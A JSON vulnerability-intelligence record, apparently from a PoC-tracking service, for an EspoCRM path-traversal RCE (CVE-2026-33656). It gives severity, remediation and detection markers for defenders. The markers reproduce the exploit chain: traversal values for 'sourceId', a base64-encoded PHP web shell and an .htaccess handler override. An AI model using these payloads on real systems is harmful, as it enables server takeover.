{
  "id": "CVE-2026-33656",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-33656",
  "published_at": "2026-04-22T20:01:24.195Z",
  "title": "EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user",
  "vendor": "espocrm",
  "product": "espocrm",
  "cvss": {
    "score": 9.1,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-03-24T19:41:19Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -29,
    "repo": "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656",
    "source": "github"
  },
  "poc_repo_count": 1,
  "exploit_count": 0,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, EspoCRM's built-in formula scripting engine allowing updating attachment's sourceId thus allowing an authenticated admin to overwrite the `sourceId` field on `Attachment` entities. Because `sourceId` is concatenated directly into a file path with no sanitization in `EspoUploadDir::getFilePath()`, an attacker can redirect any file read or write operation to an arbitrary path within the web server's `open_basedir` scope. Version 9.3.4 fixes the issue.",
  "cwe": "CWE-22",
  "cpes": [
    "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*"
  ],
  "cvss_by_source": {
    "cna": 9.1
  },
  "repos": [
    {
      "repo": "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656",
      "url": "https://github.com/JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656",
      "created_at": "2026-03-24T19:41:19Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-03-06T11:49:58Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "espocrm",
        "product": "espocrm",
        "ranges": [
          "\u003c 9.3.4"
        ],
        "fixed_in": [
          "9.3.4"
        ]
      }
    ],
    "upgrade": [
      "Upgrade espocrm to 9.3.4 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-7922-x7cf-j54x"
      }
    ]
  },
  "exploit_refs": [],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/client/x",
      "query_markers": [
        "c=",
        "c=id",
        "c={var}"
      ],
      "ports": [
        8090
      ],
      "protocol": "http",
      "repos": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656"
      ],
      "repo_count": 1,
      "confidence": 0.9,
      "evidence": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:101",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:109",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:98"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/v1/Attachment",
      "headers": [
        {
          "name": "Espo-Authorization",
          "value": "{var}"
        }
      ],
      "body_markers": [
        "\"name\":\"test.txt\"",
        "\"type\":\"text/plain\"",
        "\"role\":\"Attachment\"",
        "\"relatedType\":\"Document\"",
        "\"field\":\"file\"",
        "\"isBeingUploaded\"",
        "\"size\"",
        "\"name\":\"ht.txt\"",
        "\"isBeingUploaded\":true",
        "\"size\":999999"
      ],
      "content_type": "application/json",
      "ports": [
        8090
      ],
      "protocol": "http",
      "repos": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656"
      ],
      "repo_count": 1,
      "confidence": 0.9,
      "evidence": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:44",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:69",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:46",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:71"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/v1/Attachment/chunk/{var}",
      "headers": [
        {
          "name": "Espo-Authorization",
          "value": "{var}"
        }
      ],
      "body_markers": [
        "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==)",
        "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=)",
        "data:application/octet-stream;base64,",
        "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==",
        "data:text/plain;base64,",
        "SetHandler application/x-httpd-php",
        "FilesMatch"
      ],
      "content_type": "application/octet-stream",
      "ports": [
        8090
      ],
      "protocol": "http",
      "repos": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656"
      ],
      "repo_count": 1,
      "confidence": 0.9,
      "evidence": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:62",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:90",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:64",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:92"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/v1/Formula/action/run",
      "headers": [
        {
          "name": "Espo-Authorization",
          "value": "{var}"
        }
      ],
      "body_markers": [
        "\"expression\"",
        "\"targetType\"",
        "\"targetId\"",
        "\"expression\":\"record\\\\update(\\\"Attachment\\\"",
        "sourceId",
        "../../client/x",
        "\"targetType\":null",
        "\"targetId\":null",
        "../../.htaccess"
      ],
      "content_type": "application/json",
      "ports": [
        8090
      ],
      "protocol": "http",
      "repos": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656"
      ],
      "repo_count": 1,
      "confidence": 0.9,
      "evidence": [
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:53",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:78",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:55",
        "JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656/ESPOCRM-RCE-POC-CVE-2026-33656.sh:80"
      ]
    }
  ],
  "rules": []
}
